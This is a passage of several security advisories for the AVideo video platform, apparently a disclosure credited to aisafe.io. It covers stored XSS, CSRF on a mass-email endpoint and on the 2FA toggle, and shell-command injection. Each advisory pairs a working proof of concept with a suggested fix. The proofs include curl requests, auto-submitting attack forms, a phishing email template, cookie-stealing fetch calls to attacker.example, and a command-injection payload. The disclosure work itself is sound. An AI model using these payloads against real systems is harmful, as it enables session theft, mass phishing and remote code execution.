Textarea injection (line 47): php // admin/functions.php:47 $html .= "<textarea class='form-control' name='{$name}' id='{$id}'>{$valueJson->value}</textarea>"; The $valueJson->value is placed directly between textarea tags without encoding.
Select option injection (line 55): php // admin/functions.php:55 $html .= "<option value='{$key}' {$select}>{$value}</option>"; Both $key and $value are inserted without encoding, allowing attribute breakout and HTML injection.
Input type and value injection (lines 62-63): php // admin/functions.php:62-63 $html .= "<input class='form-control' type='{$valueJson->type}' value='{$valueJson->value}' name='{$name}' id='{$id}'/>"; Both type and value attributes are unescaped, enabling attribute injection.
Fallback input injection (line 75): php // admin/functions.php:75 $html .= "<input class='form-control' type='text' value='{$valueJson}' name='{$name}' id='{$id}'/>"; The raw $valueJson string is placed into the value attribute without encoding.
Configuration values are saved via admin/save.json.php, which lacks CSRF token validation.
Proof of Concept
Method 1: Direct exploitation (requires admin session)
bash Store XSS payload in a plugin configuration value The endpoint uses pluginName and direct field names as parameters curl -b "PHPSESSID=ADMINSESSIONCOOKIE" \ -X POST "https://your-avideo-instance.com/admin/save.json.php" \ -d "pluginName=PlayerSkins&skin=x' onfocus=alert(document.cookie) autofocus='"
When any admin visits the plugin configuration page, the payload fires.
Method 2: Cross-origin chain with CSRF (no authentication required)
Create the following HTML page and trick an admin into visiting it:
html <!DOCTYPE html> <html> <head><title>AVI-033 + AVI-046 Chain PoC</title></head> <body> <h1>Loading...</h1> <form id="xss" method="POST" action="https://your-avideo-instance.com/admin/save.json.php"> <input type="hidden" name="name" value="Gallery" /> <input type="hidden" name="parameter" value="description" /> <input type="hidden" name="value" value="' onfocus=fetch('https://attacker.example.com/steal?c='+document.cookie) autofocus='" /> </form> <script>document.getElementById('xss').submit();</script> </body> </html>
The payload breaks out of the value attribute in the rendered input element:
html <!-- Rendered HTML in admin panel --> <input class='form-control' type='text' value='' onfocus=fetch('https://attacker.example.com/steal?c='+document.cookie) autofocus='' name='description' id='description'/>
Impact
An attacker can achieve stored cross-site scripting in the AVideo admin panel. When chained with the CSRF vulnerability on save.json.php, this requires zero authentication - the attacker only needs to lure an admin to a malicious page. Once the XSS fires in the admin context, the attacker can:
- Steal admin session cookies and CSRF tokens - Create new admin accounts - Modify site configuration (enable file uploads, disable security features) - Inject persistent JavaScript into public-facing pages via site-wide settings - Pivot to server-side code execution via plugin upload functionality
- CWE-79: Improper Neutralization of Input During Web Page Generation (Stored XSS) - Severity: High
Recommended Fix
Apply htmlspecialchars($value, ENTQUOTES, 'UTF-8') to all user-controlled values rendered in admin/functions.php:
php // admin/functions.php:47 - textarea content $html .= "<textarea class='form-control' name='{$name}' id='{$id}'>" . htmlspecialchars($valueJson->value, ENTQUOTES, 'UTF-8') . "</textarea>";
// admin/functions.php:55 - select option $html .= "<option value='" . htmlspecialchars($key, ENTQUOTES, 'UTF-8') . "' {$select}>" . htmlspecialchars($value, ENTQUOTES, 'UTF-8') . "</option>";
// admin/functions.php:62-63 - input type and value $html .= "<input class='form-control' type='" . htmlspecialchars($valueJson->type, ENTQUOTES, 'UTF-8') . "' value='" . htmlspecialchars($valueJson->value, ENTQUOTES, 'UTF-8') . "' name='{$name}' id='{$id}'/>";
// admin/functions.php:75 - fallback input $html .= "<input class='form-control' type='text' value='" . htmlspecialchars($valueJson, ENTQUOTES, 'UTF-8') . "' name='{$name}' id='{$id}'/>";
--- Found by aisafe.io
Summary
The AVideo endpoint objects/emailAllUsers.json.php allows administrators to send HTML emails to every registered user on the platform. While the endpoint verifies admin session status, it does not validate a CSRF token. Because AVideo sets SameSite=None on session cookies, a cross-origin POST request from an attacker-controlled page will include the admin's session cookie automatically. An attacker who lures an admin to a malicious page can send an arbitrary HTML email to every user on the platform, appearing to originate from the instance's legitimate SMTP address.
The endpoint does not call save() on any ORM object, which means the Referer/Origin domain validation implemented in ObjectYPT::save() is never triggered, leaving CSRF as the only required protection - and it is absent.
Details
The endpoint performs an admin check at line 10 but has no CSRF token validation:
php // objects/emailAllUsers.json.php:10 if (!User::isAdmin()) { die('{"error": "Must be admin"}'); }
The message body is taken directly from POST data at line 41:
php // objects/emailAllUsers.json.php:41 $obj->message = $POST['message'];
The message is rendered as HTML in the email at line 48:
php // objects/emailAllUsers.json.php:48 $mail->msgHTML($obj->message);
When the email POST parameter is omitted, the endpoint defaults to sending to all registered users by calling User::getAllUsers(). This means the attacker does not need to know any email addresses.
The emails are sent through the platform's configured SMTP server, so they originate from the legitimate platform email address and pass SPF/DKIM validation. This makes the phishing emails highly convincing.
Proof of Concept
Host the following HTML on an attacker-controlled domain and lure an AVideo administrator to visit it:
html <!DOCTYPE html> <html> <head><title>AVI-038 PoC - CSRF Mass Email</title></head> <body> <h1>Please wait...</h1> <form id="massmail" method="POST" action="https://your-avideo-instance.com/objects/emailAllUsers.json.php">
<input type="hidden" name="subject" value="Important: Verify Your Account" />
<textarea name="message" style="display:none"> <h2>Account Verification Required</h2> <p>Your account requires re-verification due to a recent security update.</p> <p>Please <a href="https://attacker.example.com/phish">click here to verify</a> within 24 hours to avoid account suspension.</p> <p>Thank you,<br/>The Platform Team</p> </textarea>
<!-- Omitting 'email' parameter causes it to send to ALL users --> </form>
<script>document.getElementById('massmail').submit();</script> </body> </html>
Verification steps:
1. Set up a test AVideo instance with at least two registered user accounts. 2. Log in as an admin in one browser tab. 3. Open the attacker HTML page in another tab in the same browser. 4. Check the email inboxes of all registered users. Each will have received the phishing email from the platform's legitimate SMTP address.
Alternatively, test with curl using an admin session cookie:
bash curl -b "PHPSESSID=ADMINSESSIONCOOKIE" \ -X POST "https://your-avideo-instance.com/objects/emailAllUsers.json.php" \ -d "subject=Test&message=<h1>PoC</h1><p>This email was sent to all users.</p>"
Impact
An attacker can send attacker-controlled HTML emails to every registered user on an AVideo platform by exploiting the admin's session via CSRF. The emails originate from the platform's legitimate SMTP address, pass email authentication checks (SPF, DKIM, DMARC), and appear indistinguishable from genuine platform communications. This enables:
- Mass phishing campaigns targeting all platform users with highly credible emails - Credential harvesting by directing users to attacker-controlled login pages - Malware distribution via HTML email payloads - Reputation damage to the platform operator
The attack requires only a single click from an authenticated admin (visiting an attacker-controlled page). No user enumeration or email address knowledge is needed.
- CWE-352: Cross-Site Request Forgery
Recommended Fix
Add CSRF token validation at objects/emailAllUsers.json.php:13, after the admin check:
php // objects/emailAllUsers.json.php:13 if (!isGlobalTokenValid()) { forbiddenPage('Invalid CSRF token'); exit; }
--- Found by aisafe.io
Summary
Type: Cross-site request forgery on the 2FA toggle. plugin/LoginControl/set.json.php accepts POST type=set2FA value=false, calls LoginControl::setUser2FA(User::getId(), false) on the session-authenticated user, and returns. There is no forbidIfIsUntrustedRequest() call, no isTokenValid() check, no X-CSRF-Token/SameSite enforcement, and no re-authentication step. A cross-origin page that the victim visits while logged into the AVideo dashboard issues the POST via a hidden form (or fetch without credentials:"omit") and disables the victim's 2FA in one request. The next phishing/credential-stuffing attempt against that account no longer needs the second factor. File: plugin/LoginControl/set.json.php, lines 1-37. Root cause: the developer relied on the User::isLogged() check at line 9 as the only auth, then dispatched directly into LoginControl::setUser2FA(User::getId(), $value=='true'). Other AVideo state-changing endpoints in the same codebase (videoUpdateUsage.json.php, videoStatus.json.php, videoRotate.json.php, etc.) call forbidIfIsUntrustedRequest('<name>') to compare Origin/Referer against the AVideo domain; this endpoint simply omits the call. The session cookie carries the user's identity on every cross-origin POST, so any attacker page can speak for the logged-in user on this endpoint.
Affected Code
File: plugin/LoginControl/set.json.php, lines 1-37.
php <?php requireonce '../../videos/configuration.php'; sessionwriteclose(); header('Content-Type: application/json');
$obj = new stdClass(); $obj->error = true; $obj->msg = ""; if (!User::isLogged()) { $obj->msg = "Not logged"; die(jsonencode($obj)); } if (empty($POST['type'])) { $obj->msg = "Type is empty"; die(jsonencode($obj)); } if (!isset($POST['value'])) { $obj->msg = "value is empty"; die(jsonencode($obj)); }
$cu = AVideoPlugin::loadPluginIfEnabled('LoginControl');
if (empty($cu)) { $obj->msg = "Plugin not enabled"; die(jsonencode($obj)); }
$obj->error = false; switch ($POST['type']) { case 'set2FA': LoginControl::setUser2FA(User::getId(), $POST['value']=="true" ? true : false); // <-- BUG: no CSRF gate, no re-auth break; }
die(jsonencode($obj));
Why it's wrong: disabling a victim's second factor is exactly the kind of state change the AVideo CSRF helper forbidIfIsUntrustedRequest() exists to protect. Compare with objects/commentslike.json.php:18 (forbidIfIsUntrustedRequest('commentslike')) — comments-likes get CSRF protection, but the 2FA toggle does not. Beyond CSRF, security-sensitive toggles like 2FA-disable conventionally also require either the current 2FA code or a password re-prompt: a malicious browser extension, an XSS that lands in any AVideo subdomain, or a compromised tab can otherwise flip the bit silently. None of those mitigations exist here.
Exploit Chain
1. Attacker hosts https://attacker.example/avideo-2fa-off.html containing: html <form id="f" action="https://avideo.example/plugin/LoginControl/set.json.php" method="POST"> <input type="hidden" name="type" value="set2FA"> <input type="hidden" name="value" value="false"> </form> <script>document.getElementById('f').submit();</script> State: page is live and indexable. 2. Attacker delivers the page to a victim who is logged in to avideo.example (open redirect on a trusted partner, ad campaign, IM phishing link, encyclopedic-looking forum post). The victim's browser opens the page; the form auto-submits to AVideo. State: cross-origin POST hits set.json.php with the victim's session cookie attached (the cookie's SameSite attribute is set to Lax/None by AVideo's defaults so the cross-origin POST succeeds for top-level navigations). 3. set.json.php:9 confirms User::isLogged() (true, victim's session is valid). Lines 13-19 see type=set2FA, value=false. Line 30-32 calls LoginControl::setUser2FA(victimuserid, false) and persists the change. State: victim's 2FA is now disabled in users.externalOptions.LoginControl.is2FAEnabled. 4. Victim sees a generic "operation completed" JSON response in a redirected browser tab (or no visible feedback at all if the form lands in an iframe). State: victim notices nothing unusual. 5. Attacker (in a separate session) attempts credential stuffing or password-spray against avideo.example/objects/login.json.php. Without the second factor, any one of: a previously leaked password, a successful credential-stuffing match, or a spear-phishing-collected password completes the login. State: attacker holds full session for victim's account. 6. Final state: the second factor that the victim explicitly enabled was silently disabled across the wire by visiting an attacker-hosted page. The whole chain takes one HTTP POST and zero clicks beyond the initial visit.
Security Impact
Severity: sec-moderate. CVSS 6.5: network attack, low complexity, low privileges (the attacker themselves are unauthenticated; the victim must be a logged-in AVideo user; this is captured by PR:L because the action's effect requires the victim's session), user interaction required (visit attacker page), scope unchanged, no confidentiality directly, high integrity (the victim's 2FA configuration is silently corrupted), no availability claim. Attacker capability: with one cross-origin POST, the attacker turns a victim's 2FA-protected account into a plain password-only account. Combined with any password leak, credential-stuffing match, or successful phishing of the password, the account is fully compromised. The change is permanent until the victim notices and re-enables 2FA, and AVideo does not raise an audit-log event when 2FA is disabled (see LoginControl::setUser2FA — it simply writes the boolean), so detection is unlikely. Preconditions: AVideo deployment with the LoginControl plugin enabled (the plugin shipping the 2FA feature); the victim is logged in to AVideo at the moment they visit the attacker page; the AVideo session cookie does not have SameSite=Strict (the deployment default is SameSite=Lax per objects/phpsessionid.json.php:53, which still allows cross-origin top-level POSTs from a form auto-submit). Differential: source-inspection-verified. set.json.php does not contain forbidIfIsUntrustedRequest, isTokenValid, verifyToken, or any equivalent string; the entire body of the file is reproduced above. With the suggested fix below, the same cross-origin POST returns a 403 with Invalid Request and the setUser2FA call never fires.
Suggested Fix
Add the same CSRF gate every other state-changing endpoint in this codebase uses, and require the current 2FA code (or a password re-prompt) when the user is disabling the second factor.
diff --- a/plugin/LoginControl/set.json.php +++ b/plugin/LoginControl/set.json.php @@ -9,6 +9,8 @@ if (!User::isLogged()) { $obj->msg = "Not logged"; die(jsonencode($obj)); } +forbidIfIsUntrustedRequest('LoginControl-set'); + if (empty($POST['type'])) { $obj->msg = "Type is empty"; die(jsonencode($obj)); @@ -28,7 +30,15 @@ $obj->error = false; switch ($POST['type']) { case 'set2FA': - LoginControl::setUser2FA(User::getId(), $POST['value']=="true" ? true : false); + $newValue = ($POST['value'] == 'true'); + // Require the current 2FA code (or a password re-prompt) when DISABLING 2FA; + // turning it on is fine, turning it off needs a step-up. + if (!$newValue && !LoginControl::confirmStepUpForCurrentUser($POST['confirm'] ?? '')) { + $obj->error = true; + $obj->msg = ('Re-authentication required to disable 2FA'); + die(jsonencode($obj)); + } + LoginControl::setUser2FA(User::getId(), $newValue); break; }
Defence-in-depth: the AVideo session cookie should be issued with SameSite=Strict for the management dashboard's first-party POSTs; the public read-only player can keep a separate SameSite=Lax cookie. Audit-log every 2FA-disable event with the source IP and user agent so an unexpected disable is visible to the operator.
Summary
Type: Stored cross-site scripting. The Live plugin's "YouTube-style" view renders the live transmission's stream key into an HTML class attribute by raw echo, without htmlspecialchars(). A canStream user can persist a key containing " plus an event handler via plugin/Live/saveLive.php, and any visitor (logged in or anonymous) opening the stream's live page executes attacker JavaScript in the platform origin. File: plugin/Live/view/modeYoutubeLive.php, line 203. Root cause: the template builds a live-status hook by concatenating the database key into a class name: class="titleliveKey<?php echo $livet['key'] ?>". There is no escaping. The persistence path plugin/Live/saveLive.php:30 accepts $REQUEST['key'] verbatim into livetransmitions.key (the auto-generation path uses uniqid(), but the manual save path lets the caller override it with anything). The onpublish.php:117 sanitiser strips only & and =, not ", <, or >, so the poisoned value also passes through every internal data flow. The admin-side rendering of the same field is similarly unescaped, so an admin opening the stream details page gets the same XSS in admin context.
Affected Code
File: plugin/Live/view/modeYoutubeLive.php, lines 195-209.
php <i class="fas fa-lock"></i> <?php } else { ?> <i class="fas fa-video"></i> <?php } ?> <span class="titleliveKey<?php echo $livet['key'] ?>"><?php echo getSEOTitle($liveTitle); ?></span> <!-- BUG: $livet['key'] echoed raw into class attribute --> <small class="text-muted"> <?php echo $liveInfo['displayTime']; ?> </small> </h1>
$livet['key'] is the raw stream key out of livetransmitions. The persistence path plugin/Live/saveLive.php:30 is $l->setKey($REQUEST['key']) (no allowlist), and LiveTransmition::setKey() (Objects/LiveTransmition.php:110-112) is a plain assignment. The DB column has no character-class enforcement (it is a varchar). parent::save() uses prepared SQL, so embedded ", <, >, ' are stored verbatim and round-trip back to this template unchanged.
Why it's wrong: an HTML attribute value must be escaped with htmlspecialchars(..., ENTQUOTES, 'UTF-8') (or routed through a templating engine that does). The current <?php echo $livet['key'] ?> between class="…" and " lets the attacker close the attribute with ", append arbitrary attributes (onclick, onmouseover, style, srcset, …), or close the tag with > and inject a <script> block. The class-name context is the most-common variant of HTML-attribute XSS and is what Mozilla's secure-coding guide explicitly calls out as the "raw echo into attribute" anti-pattern. Other Live templates (menuRight.php, socket.js) only use key inside JS contexts where they pre-strip [&=], but modeYoutubeLive.php uses it directly in HTML attribute context where that strip is insufficient.
Exploit Chain
1. Attacker registers (or already holds) an AVideo account with canStream=1. On installations with advancedCustomUser.newUsersCanStream=1 this is satisfied by self-registration; otherwise the attacker uses an existing streamer or any admin. State: HTTP session is authenticated. 2. Attacker POSTs to https://target/plugin/Live/saveLive.php: key=" onmouseover="fetch('//attacker/x?c='+document.cookie)" x=" title=t&description=d&password=p saveLive.php:8 confirms User::canStream(), line 30 calls $l->setKey($REQUEST['key']) and the row is persisted with the literal payload value. State: livetransmitions.key for this user contains the XSS payload. 3. Victim visits the attacker's live page, e.g. https://target/plugin/Live/?u=<attacker-username>. The page is rendered through index.php -> view/modeYoutubeLive.php. Line 203 executes: html <span class="titleliveKey" onmouseover="fetch('//attacker/x?c='+document.cookie)" x=""><span>STREAM TITLE</span></span> State: a class attribute closed early, an onmouseover event handler attached, a stray x="" consumed, and the final closing " consumed by the next attribute. The HTML parses cleanly. 4. Victim moves their mouse over the title (this is the headline area of the player; mouse-over is incidental during normal play). The handler fires. State: fetch('//attacker/x?c=' + document.cookie) runs in the AVideo origin with whatever cookies the victim browser holds (session cookie, CSRF cookie, remember-me cookie). 5. Final state: the attacker's collector receives the victim's session credentials. From there the attacker authenticates to AVideo as the victim, escalating to admin if any admin opened the page; reads private videos; uploads content as the victim; or chains into other admin-only endpoints. With variant payloads (onerror on injected <img>, onload on injected <svg>, or simply > to close the <span> and inject a <script> block) the trigger does not require mouse-over.
Security Impact
Severity: sec-moderate. Stored XSS on the platform's primary rendering surface, planted by the lowest streaming tier and triggered by unauthenticated viewers. CVSS 6.4 reflects scope-changed (the stolen session belongs to a different security principal than the attacker), low confidentiality and integrity (cookies and DOM read/write within the AVideo origin), no availability. Attacker capability: with one canStream account and one HTTP request, the attacker plants persistent JavaScript that runs in any viewer's browser when they open the stream's live page. The script runs in the target origin, so it can: read non-HttpOnly cookies (session, CSRF), read DOM content, make CSRF-free authenticated XHRs against AVideo APIs, post-message into the AVideo player iframe, install a service-worker hijack, or pivot to admin actions if the viewer is an admin. The payload survives until the row is deleted from livetransmitions. Preconditions: AVideo deployment using the default modeYoutubeLive.php template (the YouTube-style live view, used by all standard skins); attacker has canStream rights (default-on for many streamer-platform deployments and always for admins); victim opens the attacker-owned live page. Differential: source-inspection-verified. The vulnerable template modeYoutubeLive.php:203 produces <span class="titleliveKey<UNESCAPEDKEY>">…</span>. With the suggested patch (htmlspecialchars($livet['key'], ENTQUOTES, 'UTF-8') applied), the same input renders as <span class="titleliveKey" onmouseover="…" x="">…</span>, which is a single class attribute containing literal characters; no event handler attaches. The asymmetry can be observed offline by feeding a poisoned key value to the template snippet:
sh $ php -r '$livet=["key"=>"\" onmouseover=\"alert(1)\" x=\""]; echo "<span class=\"titleliveKey".$livet["key"]."\">test</span>";' <span class="titleliveKey" onmouseover="alert(1)" x="">test</span> # XSS attribute parses $ php -r '$livet=["key"=>"\" onmouseover=\"alert(1)\" x=\""]; echo "<span class=\"titleliveKey".htmlspecialchars($livet["key"],ENTQUOTES,"UTF-8")."\">test</span>";' <span class="titleliveKey" onmouseover="alert(1)" x="">test</span> # one attribute, no handler
Suggested Fix
Escape the key when it is rendered into the HTML attribute. The same escape should be applied wherever the key reaches HTML context (other Live templates appear safe because they only use it in JS string contexts after replace(/[&=]/g, ''), but they should be reviewed in the same patch).
diff --- a/plugin/Live/view/modeYoutubeLive.php +++ b/plugin/Live/view/modeYoutubeLive.php @@ -200,7 +200,7 @@ } ?> - <span class="titleliveKey<?php echo $livet['key'] ?>"><?php echo getSEOTitle($liveTitle); ?></span> + <span class="titleliveKey<?php echo htmlspecialchars($livet['key'], ENTQUOTES, 'UTF-8') ?>"><?php echo getSEOTitle($liveTitle); ?></span> <small class="text-muted"> <?php echo $liveInfo['displayTime'];
Defence-in-depth: also enforce a character allowlist on livetransmitions.key at write time (the autogenerator emits uniqid() which is hex-only, so ^[A-Za-z0-9-]{1,64}$ is the natural allowlist) so that the field can never carry HTML metacharacters in the first place. That hardens any other future render site against the same primitive without a second escape audit.
Summary
Type: Classic shell-metacharacter injection. The YPTSocket notification branch in plugin/Live/onpublish.php builds an execAsync() command line by string concatenation, single-quoting each argument but never calling escapeshellarg(). A ' in any of the three interpolated values ($usersid, $m3u8, $obj->liveTransmitionHistoryid) closes the quoted token and lets the attacker append arbitrary commands. File: plugin/Live/onpublish.php, line 267. Root cause: the developer wrapped each variable in literal single quotes ('$usersid', '$m3u8', '$obj->liveTransmitionHistoryid') believing this provides shell-quoting. PHP single-quoted-into-shell is not safe quoting; it is just two literal quote characters that the shell pairs greedily. Any embedded ' closes the outer string and resumes interpretation in the shell. The rest of the AVideo codebase already calls escapeshellarg() (137 call sites across the project) for ffmpeg invocations, so the safe primitive is well-known to the project; it was simply omitted from this branch. The endpoint is web-reachable (no .htaccess rule restricts onpublish.php, no REMOTEADDR check), so the trigger is a direct HTTP POST without going through nginx-rtmp.
Affected Code
File: plugin/Live/onpublish.php, lines 256-271.
php if (AVideoPlugin::isEnabledByName('YPTSocket')) { $array = setLiveKey($lth->getKey(), $lth->getLiveserversid()); @obclean(); obstart(); $lth = new LiveTransmitionHistory($obj->liveTransmitionHistoryid); $m3u8 = Live::getM3U8File($lth->getKey(), false, true); // value-carrying URL: contains the stream key verbatim $usersid = $obj->row['usersid']; $liveTransmitionHistoryid = $obj->liveTransmitionHistoryid; if (strtoupper(substr(PHPOS, 0, 3)) === 'WIN') { include "{$global['systemRootPath']}plugin/Live/onpublishsocketnotification.php"; } else { $command = getphp(). " {$global['systemRootPath']}plugin/Live/onpublishsocketnotification.php '$usersid' '$m3u8' '{$obj->liveTransmitionHistoryid}'"; // <-- BUG: literal quotes, no escapeshellarg $pid = execAsync($command); // sink: shell exec } }
Live::getM3U8File($key, false, true) (Live.php:1337-1350 -> Live.php:4845-4889) returns "{$playerServer}{$uuid}.m3u8" (or "{$playerServer}{$uuid}/index.m3u8") where $uuid = $this->getKeyWithIndex(...) is the stream key string read straight out of the livetransmitions table. There is no character normalisation between database read and command construction.
Why it's wrong: '$m3u8' is not shell quoting. PHP interpolates $m3u8 into the string between two literal ' characters. The shell then tokenises the result. If $m3u8 contains ' itself, the shell sees '…' followed by <attacker bytes> followed by another ', which forms two adjacent quoted strings concatenated with whatever the attacker put between them. Embedded ;, backticks, $(), &&, |, or \n then run as shell commands. The fix is escapeshellarg(), which AVideo already uses 137 times in ffmpeg invocations (e.g. getVideos.php:1069, videos.json.php, aVideoEncoder.json.php); this branch simply forgot it.
Exploit Chain
1. Attacker authenticates and arranges for one of the command variables to contain '. Under the current code the readily available primitive is a canStream user supplying a stream key via the persistence path (saveLive.php's $REQUEST['key'] is written verbatim to livetransmitions.key). State: a row exists with key = "evilkey';id>/tmp/pwn;#". 2. Attacker POSTs directly to https://target/plugin/Live/onpublish.php (the file is web-served, no IP restriction) with body: name=evilkey';id>/tmp/pwn;# p=<md5(attackerpassword)> tcurl=rtmp://target/live addr=1.2.3.4 onpublish.php:117 runs pregreplace("/[&=]/", '', $POST['name']) — only &/= are stripped, so ';id>/tmp/pwn;# survives. Lines 143-163 confirm $GET['p'] === $user->getPassword() (the attacker is themself, knows their own MD5), persist a LiveTransmitionHistory row with the poisoned key, and set $obj->error = false. State: authorisation gate passed. 3. Line 261 calls Live::getM3U8File($lth->getKey(), false, true), returning "https://server/live/evilkey';id>/tmp/pwn;#.m3u8". State: $m3u8 carries the injection payload. 4. Line 267 builds the command string by concatenation: php /var/www/AVideo/plugin/Live/onpublishsocketnotification.php '7' 'https://server/live/evilkey';id>/tmp/pwn;#.m3u8' '42' Shell tokenisation sees: php, …/onpublishsocketnotification.php, '7', 'https://server/live/evilkey' (the attacker's ' closed the second quote), then operator ;, then command-2 id>/tmp/pwn, then ;, then #.m3u8' '42' (everything after # is a comment). State: the shell has parsed two real commands. 5. Line 269 execAsync($command) spawns the shell, which runs the secondary command id>/tmp/pwn as the AVideo PHP-FPM/Apache user. State: arbitrary OS command execution with the privileges of the web-server runtime user. 6. Final state: the attacker reads /tmp/pwn, swaps the payload for a reverse shell, exfiltrates videos/configuration.php (database password and root URL), drops a webshell into the upload tree, or pivots to other plugin credentials (PayPal/Stripe API keys, AWS keys for the CDN plugin, OpenAI key for the AI plugin).
Security Impact
Severity: sec-high. Pre-auth-friendly remote code execution: the only prerequisite is that the attacker can place a ' into one of the three command-line variables, which on a streaming platform means a single low-privilege account. Attacker capability: with one canStream account and two HTTP requests, the attacker executes arbitrary shell commands as the AVideo runtime user. From there: read database credentials, exfiltrate user data, write a webshell into a publicly-served path, pivot to plugin credentials, persist via cron, or escalate via any local sudoers entries. Preconditions: AVideo deployment with Live and YPTSocket plugins enabled (the standard live-streaming bundle); attacker can reach /plugin/Live/onpublish.php over the network; a value containing ' is reachable into usersid, m3u8, or liveTransmitionHistoryid (the current code lets canStream users supply such a value via the stream-key persistence path). Differential: source-inspection-verified end-to-end. The shell-tokenising behaviour of '…'…'…' is reproducible offline:
sh $ s="php /a/b.php '7' 'https://s/live/evilkey';id>/tmp/pwn;#.m3u8' '42'" $ rm -f /tmp/pwn; bash -c "$s" 2>/dev/null; ls -l /tmp/pwn -rw-r--r-- 1 user user N <date> /tmp/pwn # injected id ran, output captured
The patched build (with the suggested escapeshellarg() fix below applied) constructs php /a/b.php '7' 'https://s/live/evilkey'\''id>/tmp/pwn;#.m3u8' '42', which the shell parses as a single argument containing the literal characters; the second command never runs.
Suggested Fix
Use escapeshellarg() on every variable interpolated into the command string. This matches established project conventions (137 other call sites for ffmpeg invocations).
diff --- a/plugin/Live/onpublish.php +++ b/plugin/Live/onpublish.php @@ -264,7 +264,11 @@ if (strtoupper(substr(PHPOS, 0, 3)) === 'WIN') { include "{$global['systemRootPath']}plugin/Live/onpublishsocketnotification.php"; } else { - $command = getphp(). " {$global['systemRootPath']}plugin/Live/onpublishsocketnotification.php '$usersid' '$m3u8' '{$obj->liveTransmitionHistoryid}'"; + $command = getphp() + . ' ' . escapeshellarg($global['systemRootPath'] . 'plugin/Live/onpublishsocketnotification.php') + . ' ' . escapeshellarg((string) $usersid) + . ' ' . escapeshellarg((string) $m3u8) + . ' ' . escapeshellarg((string) $obj->liveTransmitionHistoryid); errorlog("NGINX Live::onpublish YPTSocket start ($command)"); $pid = execAsync($command); }
Defence-in-depth: onpublish.php is the nginx-rtmp webhook and should not be reachable from the public Internet. Add an .htaccess/nginx location rule restricting the file to 127.0.0.1 and any configured RTMP server IPs. That blocks the trigger path independently of the sanitisation work.